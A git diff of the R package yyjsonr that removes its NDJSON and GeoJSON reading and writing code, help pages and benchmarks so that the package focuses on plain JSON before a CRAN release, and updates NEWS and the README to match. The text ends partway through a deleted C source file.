diff --git a/DESCRIPTION b/DESCRIPTION index a78027f..a1d2152 100644 --- a/DESCRIPTION +++ b/DESCRIPTION @@ -1,7 +1,7 @@ Package: yyjsonr Type: Package -Title: Fast JSON, GeoJSON and NDJSON Parsing and Serialisation -Version: 0.1.12 +Title: Fast JSON Parsing and Serialisation +Version: 0.1.13 Authors@R: c( person("Mike", "FC", role = c("aut", "cre"), email = "mikefc@coolbutuseless.com"), person("Yao", "Yuan", role = "cph", email = "ibireme@gmail.com", diff --git a/NAMESPACE b/NAMESPACE index cd2b70b..8a857b1 100644 --- a/NAMESPACE +++ b/NAMESPACE @@ -1,24 +1,15 @@ # Generated by roxygen2: do not edit by hand -export(opts_read_geojson) export(opts_read_json) -export(opts_write_geojson) export(opts_write_json) export(read_flag) -export(read_geojson_file) -export(read_geojson_str) export(read_json_conn) export(read_json_file) export(read_json_raw) export(read_json_str) -export(read_ndjson_file) export(validate_json_file) export(validate_json_str) export(write_flag) -export(write_geojson_file) -export(write_geojson_str) export(write_json_file) export(write_json_str) -export(write_ndjson_file) -export(write_ndjson_str) useDynLib(yyjsonr, .registration=TRUE) diff --git a/NEWS.md b/NEWS.md index 0592146..d4219f8 100644 --- a/NEWS.md +++ b/NEWS.md @@ -1,4 +1,11 @@ + +# yyjsonr 0.1.13 2024-01-05 + +* Remove NDJSON and GeoJSON code to simplify preparation for CRAN. Will + re-introduce this code in future releases. +* Updated to YYJSON v0.8.0 + # yyjsonr 0.1.12 2023-10-29 * Fix an off-by-one error when reporting line numbers in NDJSON handling. diff --git a/R/geojson.R b/R/geojson.R deleted file mode 100644 index cda0647..0000000 --- a/R/geojson.R +++ /dev/null @@ -1,131 +0,0 @@ - - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#' Options for reading in GeoJSON -#' -#' @param property_promotion What is the most general container type to use when -#' properties differ across a FEATURECOLLECTION? E.g. if the property -#' exists both as a numeric and a string, should all values be promoted -#' to a 'string', or contained as different types in a 'list'. -#' Default: 'string' will behave like 'geojsonsf' -#' @param type 'sf' or 'sfc' -#' @param property_promotion_lgl_as_int when promoting properties into a string, -#' should logical values become strings e.g. "TRUE" or integers -#' e.g. "1". Default: "integer" in order to match `geojsonsf` packages -#' -#' @return named list -#' @export -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -opts_read_geojson <- function(type = c('sf', 'sfc'), - property_promotion = c('string', 'list'), - property_promotion_lgl_as_int = c('integer', 'string')) { - structure( - list( - type = match.arg(type), - property_promotion = match.arg(property_promotion) - ), - class = "opts_read_geojson" - ) -} - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#' Options for writing from \code{sf} object to \code{GeoJSON} -#' -#' Currently no options available. -#' -#' @return named list of options -#' @export -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -opts_write_geojson <- function() { - structure( - list( - - ), - class = "opts_write_geojson" - ) -} - - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#' Load GeoJSON as \code{sf} object -#' -#' @param filename filename -#' @param str single character string containing GeoJSON -#' @param opts named list of options. Usually created with \code{opts_read_geojson()}. -#' Default: empty \code{list()} to use the default options. -#' @param ... any extra named options override those in \code{opts} -#' -#' @return \code{sf} object -#' @export -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -read_geojson_str <- function(str, opts = list(), ...) { - opts <- modify_list(opts, list(...)) - - .Call( - parse_geojson_str_, - str, - opts, # geojson parse opts - list(yyjson_read_flag = 0L) # general parse opts - ) -} - - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#' @rdname read_geojson_str -#' @export -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -read_geojson_file <- function(filename, opts = list(), ...) { - opts <- modify_list(opts, list(...)) - - .Call( - parse_geojson_file_, - filename, - opts, # geojson parse opts - list(yyjson_read_flag = 0L) # general parse opts - ) -} - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#' Write SF to GeoJSON string -#' -#' @param x \code{sf} object. Supports \code{sf} or \code{sfc} -#' @param filename filename -#' @param opts named list of options. Usually created with \code{opts_write_geojson()}. -#' Default: empty \code{list()} to use the default options. -#' @param ... any extra named options override those in \code{opts} -#' @param digits decimal places to keep for floating point numbers. Default: -1. -#' Positive values specify number of decimal places. Using zero will -#' write the numeric value as an integer. Values less than zero mean that -#' the floating point value should be written as-is (the default). -#' -#' @return character string containing json -#' @export -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -write_geojson_str <- function(x, opts = list(), ..., digits = -1) { - opts <- modify_list(opts, list(...)) - - .Call( - serialize_sf_to_str_, - x, - opts, # geojson serialize opts - list(yyjson_write_flag = 0L, digits = digits) # general serialize opts - ) -} - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#' @rdname write_geojson_str -#' @export -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -write_geojson_file <- function(x, filename, opts = list(), ..., digits = -1) { - opts <- modify_list(opts, list(...)) - - .Call( - serialize_sf_to_file_, - x, - filename, - opts, # geojson serialize opts - list(yyjson_write_flag = 0L, digits = digits) # general serialize opts - ) - - invisible() -} diff --git a/R/ndjson.R b/R/ndjson.R deleted file mode 100644 index d50457c..0000000 --- a/R/ndjson.R +++ /dev/null @@ -1,114 +0,0 @@ - - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#' Parse an NDJSON file to a data.frame or list -#' -#' If reading as data.frame, each row of NDJSON becomes a row in the data.frame. -#' If reading as a list, then each row becomes an element in the list. -#' -#' If parsing NDJSON to a data.frame it is usually better if the json objects -#' are consistent from line-to-line. Type inference for the data.frame is done -#' during initialisation by reading through \code{nprobe} lines. Warning: if -#' there is a type-mismatch further into the file than it is probed, then you -#' will get missing values in the data.frame. -#' -#' No flattening of the namespace is done i.e. nested object remain nested. -#' -#' @inheritParams read_json_str -#' @param filename text file or gzipped file -#' @param type 'df' or 'list'. Default: 'df' (data.frame) -#' @param nread number of records to read. Default: -1 (reads all rows) -#' @param nskip number of records to skip before starting to read. Default: 0 -#' @param nprobe Number of lines to read to determine types for data.frame -#' columns. Default: 100. Only valid for \code{read_ndjson_file()} -#' -#' -#' @examples -#' \dontrun{ -#' read_ndjson_file("flights.ndjson", nskip = 1000, nread = 200) -#' read_ndjson_file("flights.ndjson", nskip = 1000, nread = 200) -#' } -#' -#' @family JSON Parsers -#' @return list or data.frame -#' @export -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -read_ndjson_file <- function(filename, type = c('df', 'list'), nread = -1, nskip = 0, nprobe = 100, opts = list(), ...) { - - type <- match.arg(type) - - if (type == 'list') { - .Call( - parse_ndjson_file_as_list_, - filename, - nread, - nskip, - modify_list(opts, list(...)) - ) - } else { - .Call( - parse_ndjson_file_as_df_, - filename, - nread, - nskip, - nprobe, - modify_list(opts, list(...)) - ) - } -} - - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#' Write list or data.frame object to NDJSON -#' -#' @inherit write_json_file -#' @param x data.frame or list -#' @param filename filename -#' -#' @export -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -write_ndjson_file <- function(x, filename, opts = list(), ...) { - opts <- modify_list(opts, list(...)) - - if (is.data.frame(x)) { - .Call( - serialize_df_to_ndjson_file_, - x, - filename, - opts - ) - } else { - .Call( - serialize_list_to_ndjson_file_, - x, - filename, - opts - ) - } - invisible() -} - - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#' @rdname write_ndjson_file -#' @export -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -write_ndjson_str <- function(x, opts = list(), ...) { - opts <- modify_list(opts, list(...)) - - if (is.data.frame(x)) { - .Call( - serialize_df_to_ndjson_str_, - x, - opts - ) - } else { - .Call( - serialize_list_to_ndjson_str_, - x, - opts - ) - } -} - - diff --git a/README.Rmd b/README.Rmd index 4b3d057..5e9701b 100644 --- a/README.Rmd +++ b/README.Rmd @@ -37,31 +37,11 @@ if (FALSE) { [![R-CMD-check](https://github.com/coolbutuseless/yyjsonr/actions/workflows/R-CMD-check.yaml/badge.svg)](https://github.com/coolbutuseless/yyjsonr/actions/workflows/R-CMD-check.yaml) -`{yyjsonr}` is a fast JSON parser/serializer, which converts R data to/from JSON, GeoJSON and NDJSON. +`{yyjsonr}` is a fast JSON parser/serializer, which converts R data to/from JSON. In most cases it is around 2x to 10x faster than `{jsonlite}` at both reading and writing JSON. -It is based around the [`yyjson`](https://github.com/ibireme/yyjson) C library. - -### Help needed! - -If you have an interest in fast JSON reading/writing in R, then **I need your help**. - -The scope of this package and options it supports are still in flux. What -can I add to help your JSON needs? Open an issue on github and let me know! - -You can assist by: - -* Finding cases that give unexpected results for your JSON needs -* Suggesting how you want to have a particular JSON object to appear in R -* Propose configuration options to control a particular aspect of how *you* - want JSON to translate to/from R -* Trying it out in your package as an alternative to your current JSON package. - * Is it worth the change? - * What functionality is lacking? - * What would you need to make the switch proper? -* Suggesting additional interesting benchmarks/tests. -* Creating/Donating a nice hex logo! +It is a wrapper for the [`yyjson`](https://github.com/ibireme/yyjson) C library. ### The `yyjson` C library @@ -78,23 +58,17 @@ library (version `YYJSON_VERSION_HEX = 0x000700`). | json | read | read_json_str() | read_json_file() | read_json_raw() | read_json_conn() | opts_read_json() | | | write | write_json_str() | write_json_file() | | | opts_write_json() | | | validate | validate_json_str() | validate_json_file() | | | | -| geojson | read | read_geojson_str() | read_geojson_file() | | | opts_read_geojson() | -| | write | write_geojson_str() | write_geojson_file() | | | opts_write_geojson() | -| ndjson | read | | read_ndjson_file() | | | | -| | write | write_ndjson_str() | write_ndjson_file() | | | | ### Comparison to other JSON packages -| | Write JSON| Read JSON | READ ndjson | Write ndjson | R/W geojson `{sf}`| -|--------------|-----------|-----------|-------------|--------------|-------------------| -| yyjsonr | Fast! | Fast! | Fast! | Fast! | Fast! | -| jsonlite | Yes | Yes | Yes | Yes | | -| RcppSimdJson | | Fast! | | | | -| jsonify | Yes | Yes | Yes | Yes | | -| ndjson | | | Yes | Yes | | -| geojsonsf | | | | | Yes | +| | Write JSON| Read JSON | +|--------------|-----------|-----------| +| yyjsonr | Fast! | Fast! | +| jsonlite | Yes | Yes | +| RcppSimdJson | | Fast! | +| jsonify | Yes | Yes | @@ -135,13 +109,13 @@ Parsing differences compared to `{jsonlite}` In `{yyjsonr}` the order in which elements in an array are serialized to JSON correspond to an array of row-major matrices in human-readable order. -`{jsonlite}` does things differently. The array formats are internally +`{jsonlite}` does things differently. + +The array formats are internally consistent within each package, but not cross-compatible between them i.e. you cannot serialize an array in `{yyjsonr}` and re-create it exactly using `{jsonlite}`. -The matrix handling in `{yyjsonr}` is compatible with the expectations of GeoJSON -coordinate handling. ```{r} # A simple 3D array @@ -169,15 +143,14 @@ yyjsonr::read_json_str(str) ``` +## Future - - - - - - - - +* Re-introduce NDJSON support + * NDJSON support was removed for the initial CRAN release for the sake of my sanity. + * See the `ndjson` branch of this repository +* Re-introduce GeoJSON support + * GeoJSON support was removed for the initial CRAN release for the sake of my sanity. + * See the `geojson` branch of this repository ## Limitiations diff --git a/README.md b/README.md index 5bc97a6..bbc2923 100644 --- a/README.md +++ b/README.md @@ -12,38 +12,14 @@ yyjsonr `{yyjsonr}` is a fast JSON parser/serializer, which converts R data -to/from JSON, GeoJSON and NDJSON. +to/from JSON. In most cases it is around 2x to 10x faster than `{jsonlite}` at both reading and writing JSON. -It is based around the [`yyjson`](https://github.com/ibireme/yyjson) C +It is a wrapper for the [`yyjson`](https://github.com/ibireme/yyjson) C library. -### Help needed! - -If you have an interest in fast JSON reading/writing in R, then **I need -your help**. - -The scope of this package and options it supports are still in flux. -What can I add to help your JSON needs? Open an issue on github and let -me know! - -You can assist by: - -- Finding cases that give unexpected results for your JSON needs -- Suggesting how you want to have a particular JSON object to appear in - R -- Propose configuration options to control a particular aspect of how - *you* want JSON to translate to/from R -- Trying it out in your package as an alternative to your current JSON - package. - - Is it worth the change? - - What functionality is lacking? - - What would you need to make the switch proper? -- Suggesting additional interesting benchmarks/tests. -- Creating/Donating a nice hex logo! - ### The `yyjson` C library This package includes the [`yyjson`](https://github.com/ibireme/yyjson) @@ -54,26 +30,20 @@ more details. ### What’s in the box -| | | string | file | raw | conn | options | -|---------|----------|---------------------|----------------------|-----------------|------------------|----------------------| -| json | read | read_json_str() | read_json_file() | read_json_raw() | read_json_conn() | opts_read_json() | -| | write | write_json_str() | write_json_file() | | | opts_write_json() | -| | validate | validate_json_str() | validate_json_file() | | | | -| geojson | read | read_geojson_str() | read_geojson_file() | | | opts_read_geojson() | -| | write | write_geojson_str() | write_geojson_file() | | | opts_write_geojson() | -| ndjson | read | | read_ndjson_file() | | | | -| | write | write_ndjson_str() | write_ndjson_file() | | | | +| | | string | file | raw | conn | options | +|------|----------|---------------------|----------------------|-----------------|------------------|-------------------| +| json | read | read_json_str() | read_json_file() | read_json_raw() | read_json_conn() | opts_read_json() | +| | write | write_json_str() | write_json_file() | | | opts_write_json() | +| | validate | validate_json_str() | validate_json_file() | | | | ### Comparison to other JSON packages -| | Write JSON | Read JSON | READ ndjson | Write ndjson | R/W geojson `{sf}` | -|--------------|------------|-----------|-------------|--------------|--------------------| -| yyjsonr | Fast! | Fast! | Fast! | Fast! | Fast! | -| jsonlite | Yes | Yes | Yes | Yes | | -| RcppSimdJson | | Fast! | | | | -| jsonify | Yes | Yes | Yes | Yes | | -| ndjson | | | Yes | Yes | | -| geojsonsf | | | | | Yes | +| | Write JSON | Read JSON | +|--------------|------------|-----------| +| yyjsonr | Fast! | Fast! | +| jsonlite | Yes | Yes | +| RcppSimdJson | | Fast! | +| jsonify | Yes | Yes | @@ -136,13 +106,11 @@ In `{yyjsonr}` the order in which elements in an array are serialized to JSON correspond to an array of row-major matrices in human-readable order. -`{jsonlite}` does things differently. The array formats are internally -consistent within each package, but not cross-compatible between them -i.e. you cannot serialize an array in `{yyjsonr}` and re-create it -exactly using `{jsonlite}`. +`{jsonlite}` does things differently. -The matrix handling in `{yyjsonr}` is compatible with the expectations -of GeoJSON coordinate handling. +The array formats are internally consistent within each package, but not +cross-compatible between them i.e. you cannot serialize an array in +`{yyjsonr}` and re-create it exactly using `{jsonlite}`. ``` r # A simple 3D array @@ -238,6 +206,17 @@ yyjsonr::read_json_str(str) #> [2,] 8 10 12 ``` +## Future + +- Re-introduce NDJSON support + - NDJSON support was removed for the initial CRAN release for the sake + of my sanity. + - See the `ndjson` branch of this repository +- Re-introduce GeoJSON support + - GeoJSON support was removed for the initial CRAN release for the + sake of my sanity. + - See the `geojson` branch of this repository + ## Limitiations - Some datatypes not currently supported. Please file an issue on github diff --git a/man/benchmark/benchmarks.Rmd b/man/benchmark/benchmarks.Rmd index b74143e..fb02961 100644 --- a/man/benchmark/benchmarks.Rmd +++ b/man/benchmark/benchmarks.Rmd @@ -195,145 +195,6 @@ plot(res05) + theme_bw() + theme(legend.position = 'none') -From NDJSON file -------------------------------------------------------------------------------- - - -```{r include = FALSE} -ndjson_filename <- tempfile() -df <- head( nycflights13::flights, 1000) -jsonlite::stream_out(df, file(ndjson_filename), verbose = FALSE) - -res06 <- bench::mark( - ndjson = ndjson::stream_in(ndjson_filename), - jsonlite = jsonlite::stream_in(file(ndjson_filename), verbose = FALSE), - jsonify = jsonify::from_ndjson(ndjson_filename), - # arrow = arrow::read_json_arrow(ndjson_filename), - yyjsonr = yyjsonr::read_ndjson_file (ndjson_filename), - # relative = TRUE, - check = FALSE -) -``` - -```{r echo=FALSE} -res06$benchmark <- 'From NDJSON File' -knitr::kable(res06[, 1:5]) -plot(res06) + theme_bw() + theme(legend.position = 'none') -``` - - -```{r echo=FALSE, eval=FALSE} -library(dplyr) -plot_df <- res06 %>% - mutate(package = as.character(expression)) %>% - rename(speed = `itr/sec`) - -ggplot(plot_df) + - geom_col(aes(package, speed, fill = package), - position = position_dodge2(preserve = "single")) + - theme_bw(20) + - theme(legend.position = 'none') + - scale_fill_manual(values = c(rep(grey(0.5), 4), 'dodgerblue3')) + - geom_hline(yintercept = 1, color = 'red', alpha = 0.5, linetype = 2) + - labs( - x = NULL, - y = "Factor speed increase over {jsonlite}", - title = "Reading NDJSON. Speed-up compared to {jsonlite}", - subtitle = "Red line indicates reference implementation {jsonlite}" - ) -``` - - - - -To NDJSON File -------------------------------------------------------------------------------- - - -```{r include = FALSE} -ndjson_filename <- tempfile() -df <- head( nycflights13::flights, 1000) - -res07 <- bench::mark( - jsonlite = jsonlite::stream_out(df, file(ndjson_filename), verbose = FALSE), - yyjsonr = yyjsonr::write_ndjson_file(df, ndjson_filename), - check = FALSE -) -``` - - -```{r echo=FALSE} -res07$benchmark <- 'To NDJSON File' -knitr::kable(res07[, 1:5]) -plot(res07) + theme_bw() + theme(legend.position = 'none') -``` - - -To NDJSON String -------------------------------------------------------------------------------- - - -```{r message=FALSE, include = FALSE} -ndjson_filename <- tempfile() -df <- head( nycflights13::flights, 1000) - -res08 <- bench::mark( - jsonify = jsonify::to_ndjson(df), - jsonlite = jsonlite::stream_out(df, con = textConnection(NULL, "w"), name = "greg", local = TRUE), - yyjsonr = yyjsonr::write_ndjson_str(df), - check = FALSE -) -``` - -```{r echo=FALSE} -res08$benchmark <- 'To NDJSON String' -knitr::kable(res08[, 1:5]) -plot(res08) + theme_bw() + theme(legend.position = 'none') -``` - - -From GeoJSON String ----------------------------------------------------------------------------- - -```{r} -res13 <- bench::mark( - geojsonsf = geojsonsf::geojson_sf(geojsonsf::geo_melbourne), - yyjsonr = yyjsonr::read_geojson_str(geojsonsf::geo_melbourne), - check = FALSE -) - -``` - -```{r echo=FALSE} -res13$benchmark <- 'from GeoJSON string' -knitr::kable(res13[,1:5]) -plot(res13) + theme_bw() + theme(legend.position = 'none') -``` - - -To GeoJSON String ----------------------------------------------------------------------------- - -```{r} -sf_obj <- sf::st_read(system.file("shape/nc.shp", package="sf"), quiet = TRUE) - -res14 <- bench::mark( - geojsonsf = geojsonsf::sf_geojson(sf_obj), - yyjsonr = yyjsonr::write_geojson_str(sf_obj), - check = FALSE -) - -``` - -```{r echo=FALSE} -res14$benchmark <- 'to GeoJSON string' -knitr::kable(res14[,1:5]) -plot(res14) + theme_bw() + theme(legend.position = 'none') -``` - - - - Benchmark from `{RcppSimdJson}` ---------------------------------------------------------------------------- @@ -446,8 +307,9 @@ Summary library(dplyr) plot_df <- bind_rows( res00, res01, res02, res03, res04, res05, - res13, res14, # geojson - res06, res07, res08, res09, res10, res11, res12, + # res13, res14, # geojson + #res06, res07, res08, + res09, res10, res11, res12, ) plot_df$benchmark <- factor( @@ -477,13 +339,13 @@ ggplot(plot_df) + facet_wrap(~benchmark, scales = 'free_y', ncol = 3) + theme_bw() + theme(legend.position = 'none') + - scale_fill_manual(values = c(rep(grey(0.5), 5), 'dodgerblue3')) + + scale_fill_manual(values = c(rep(grey(0.5), 3), 'dodgerblue3')) + geom_hline(yintercept = 1, color = 'red', alpha = 0.5, linetype = 2) + labs( x = NULL, y = "Factor speed increase over reference implementation", title = "Speed-up compared to reference implementation", - subtitle = "Red line indicates reference implementation {jsonlite} or {geojsonsf}" + subtitle = "Red line indicates reference implementation {jsonlite}" ) # ggsave("./man/figures/benchmark-summary.png", width = 12, height = 10) diff --git a/man/figures/benchmark-summary.png b/man/figures/benchmark-summary.png index 3153164..a16154a 100644 Binary files a/man/figures/benchmark-summary.png and b/man/figures/benchmark-summary.png differ diff --git a/man/opts_read_geojson.Rd b/man/opts_read_geojson.Rd deleted file mode 100644 index 6fc476b..0000000 --- a/man/opts_read_geojson.Rd +++ /dev/null @@ -1,31 +0,0 @@ -% Generated by roxygen2: do not edit by hand -% Please edit documentation in R/geojson.R -\name{opts_read_geojson} -\alias{opts_read_geojson} -\title{Options for reading in GeoJSON} -\usage{ -opts_read_geojson( - type = c("sf", "sfc"), - property_promotion = c("string", "list"), - property_promotion_lgl_as_int = c("integer", "string") -) -} -\arguments{ -\item{type}{'sf' or 'sfc'} - -\item{property_promotion}{What is the most general container type to use when -properties differ across a FEATURECOLLECTION? E.g. if the property -exists both as a numeric and a string, should all values be promoted -to a 'string', or contained as different types in a 'list'. -Default: 'string' will behave like 'geojsonsf'} - -\item{property_promotion_lgl_as_int}{when promoting properties into a string, -should logical values become strings e.g. "TRUE" or integers -e.g. "1". Default: "integer" in order to match \code{geojsonsf} packages} -} -\value{ -named list -} -\description{ -Options for reading in GeoJSON -} diff --git a/man/opts_write_geojson.Rd b/man/opts_write_geojson.Rd deleted file mode 100644 index 4185595..0000000 --- a/man/opts_write_geojson.Rd +++ /dev/null @@ -1,14 +0,0 @@ -% Generated by roxygen2: do not edit by hand -% Please edit documentation in R/geojson.R -\name{opts_write_geojson} -\alias{opts_write_geojson} -\title{Options for writing from \code{sf} object to \code{GeoJSON}} -\usage{ -opts_write_geojson() -} -\value{ -named list of options -} -\description{ -Currently no options available. -} diff --git a/man/read_geojson_str.Rd b/man/read_geojson_str.Rd deleted file mode 100644 index 748110b..0000000 --- a/man/read_geojson_str.Rd +++ /dev/null @@ -1,27 +0,0 @@ -% Generated by roxygen2: do not edit by hand -% Please edit documentation in R/geojson.R -\name{read_geojson_str} -\alias{read_geojson_str} -\alias{read_geojson_file} -\title{Load GeoJSON as \code{sf} object} -\usage{ -read_geojson_str(str, opts = list(), ...) - -read_geojson_file(filename, opts = list(), ...) -} -\arguments{ -\item{str}{single character string containing GeoJSON} - -\item{opts}{named list of options. Usually created with \code{opts_read_geojson()}. -Default: empty \code{list()} to use the default options.} - -\item{...}{any extra named options override those in \code{opts}} - -\item{filename}{filename} -} -\value{ -\code{sf} object -} -\description{ -Load GeoJSON as \code{sf} object -} diff --git a/man/read_json_conn.Rd b/man/read_json_conn.Rd index 1ec836d..df91a30 100644 --- a/man/read_json_conn.Rd +++ b/man/read_json_conn.Rd @@ -36,7 +36,6 @@ read_json_conn(url("https://api.github.com/users/hadley/repos")) Other JSON Parsers: \code{\link{read_json_file}()}, \code{\link{read_json_raw}()}, -\code{\link{read_json_str}()}, -\code{\link{read_ndjson_file}()} +\code{\link{read_json_str}()} } \concept{JSON Parsers} diff --git a/man/read_json_file.Rd b/man/read_json_file.Rd index 58c04a2..45ae481 100644 --- a/man/read_json_file.Rd +++ b/man/read_json_file.Rd @@ -30,7 +30,6 @@ read_json_file("myfile.json") Other JSON Parsers: \code{\link{read_json_conn}()}, \code{\link{read_json_raw}()}, -\code{\link{read_json_str}()}, -\code{\link{read_ndjson_file}()} +\code{\link{read_json_str}()} } \concept{JSON Parsers} diff --git a/man/read_json_raw.Rd b/man/read_json_raw.Rd index b7a4d07..4b853c0 100644 --- a/man/read_json_raw.Rd +++ b/man/read_json_raw.Rd @@ -31,7 +31,6 @@ read_json_raw(a$raw) Other JSON Parsers: \code{\link{read_json_conn}()}, \code{\link{read_json_file}()}, -\code{\link{read_json_str}()}, -\code{\link{read_ndjson_file}()} +\code{\link{read_json_str}()} } \concept{JSON Parsers} diff --git a/man/read_json_str.Rd b/man/read_json_str.Rd index 0232506..1856a7f 100644 --- a/man/read_json_str.Rd +++ b/man/read_json_str.Rd @@ -30,7 +30,6 @@ read_json_str(str, opts = parse_opts(int64 = 'string')) Other JSON Parsers: \code{\link{read_json_conn}()}, \code{\link{read_json_file}()}, -\code{\link{read_json_raw}()}, -\code{\link{read_ndjson_file}()} +\code{\link{read_json_raw}()} } \concept{JSON Parsers} diff --git a/man/read_ndjson_file.Rd b/man/read_ndjson_file.Rd deleted file mode 100644 index 3a99dde..0000000 --- a/man/read_ndjson_file.Rd +++ /dev/null @@ -1,64 +0,0 @@ -% Generated by roxygen2: do not edit by hand -% Please edit documentation in R/ndjson.R -\name{read_ndjson_file} -\alias{read_ndjson_file} -\title{Parse an NDJSON file to a data.frame or list} -\usage{ -read_ndjson_file( - filename, - type = c("df", "list"), - nread = -1, - nskip = 0, - nprobe = 100, - opts = list(), - ... -) -} -\arguments{ -\item{filename}{text file or gzipped file} - -\item{type}{'df' or 'list'. Default: 'df' (data.frame)} - -\item{nread}{number of records to read. Default: -1 (reads all rows)} - -\item{nskip}{number of records to skip before starting to read. Default: 0} - -\item{nprobe}{Number of lines to read to determine types for data.frame -columns. Default: 100. Only valid for \code{read_ndjson_file()}} - -\item{opts}{Named list of options for parsing. Usually created by \code{opts_read_json()}} - -\item{...}{Other named options can be used to override any options in \code{opts}. -The valid named options are identical to arguments to \code{\link[=opts_read_json]{opts_read_json()}}} -} -\value{ -list or data.frame -} -\description{ -If reading as data.frame, each row of NDJSON becomes a row in the data.frame. -If reading as a list, then each row becomes an element in the list. -} -\details{ -If parsing NDJSON to a data.frame it is usually better if the json objects -are consistent from line-to-line. Type inference for the data.frame is done -during initialisation by reading through \code{nprobe} lines. Warning: if -there is a type-mismatch further into the file than it is probed, then you -will get missing values in the data.frame. - -No flattening of the namespace is done i.e. nested object remain nested. -} -\examples{ -\dontrun{ -read_ndjson_file("flights.ndjson", nskip = 1000, nread = 200) -read_ndjson_file("flights.ndjson", nskip = 1000, nread = 200) -} - -} -\seealso{ -Other JSON Parsers: -\code{\link{read_json_conn}()}, -\code{\link{read_json_file}()}, -\code{\link{read_json_raw}()}, -\code{\link{read_json_str}()} -} -\concept{JSON Parsers} diff --git a/man/write_geojson_str.Rd b/man/write_geojson_str.Rd deleted file mode 100644 index 4475c07..0000000 --- a/man/write_geojson_str.Rd +++ /dev/null @@ -1,32 +0,0 @@ -% Generated by roxygen2: do not edit by hand -% Please edit documentation in R/geojson.R -\name{write_geojson_str} -\alias{write_geojson_str} -\alias{write_geojson_file} -\title{Write SF to GeoJSON string} -\usage{ -write_geojson_str(x, opts = list(), ..., digits = -1) - -write_geojson_file(x, filename, opts = list(), ..., digits = -1) -} -\arguments{ -\item{x}{\code{sf} object. Supports \code{sf} or \code{sfc}} - -\item{opts}{named list of options. Usually created with \code{opts_write_geojson()}. -Default: empty \code{list()} to use the default options.} - -\item{...}{any extra named options override those in \code{opts}} - -\item{digits}{decimal places to keep for floating point numbers. Default: -1. -Positive values specify number of decimal places. Using zero will -write the numeric value as an integer. Values less than zero mean that -the floating point value should be written as-is (the default).} - -\item{filename}{filename} -} -\value{ -character string containing json -} -\description{ -Write SF to GeoJSON string -} diff --git a/man/write_ndjson_file.Rd b/man/write_ndjson_file.Rd deleted file mode 100644 index a3782d6..0000000 --- a/man/write_ndjson_file.Rd +++ /dev/null @@ -1,34 +0,0 @@ -% Generated by roxygen2: do not edit by hand -% Please edit documentation in R/ndjson.R -\name{write_ndjson_file} -\alias{write_ndjson_file} -\alias{write_ndjson_str} -\title{Write list or data.frame object to NDJSON} -\usage{ -write_ndjson_file(x, filename, opts = list(), ...) - -write_ndjson_str(x, opts = list(), ...) -} -\arguments{ -\item{x}{data.frame or list} - -\item{filename}{filename} - -\item{opts}{Named list of serialization options. Usually created by \code{\link[=opts_write_json]{opts_write_json()}}} - -\item{...}{Other named options can be used to override any options in \code{opts}. -The valid named options are identical to arguments to \code{\link[=opts_write_json]{opts_write_json()}}} -} -\description{ -Write list or data.frame object to NDJSON -} -\examples{ -\dontrun{ -write_json_str(iris, filename = "iris.json") -} - -} -\seealso{ -Other JSON Serializer: -\code{\link{write_json_str}()} -} diff --git a/src/geojson-serialize.c b/src/geojson-serialize.c deleted file mode 100644 index b4ce8d5..0000000 --- a/src/geojson-serialize.c +++ /dev/null @@ -1,351 +0,0 @@ - - - -#include -#include -#include - -#include -#include -#include -#include - -#include "yyjson.h" -#include "R-yyjson-serialize.h" - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// GeoJSON Serialize options -// - this also contains state information i.e. -// - current bounding box accumulations -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -typedef struct { - unsigned int yyjson_write_flag; - serialize_options *serialize_opt; -} geo_serialize_options; - 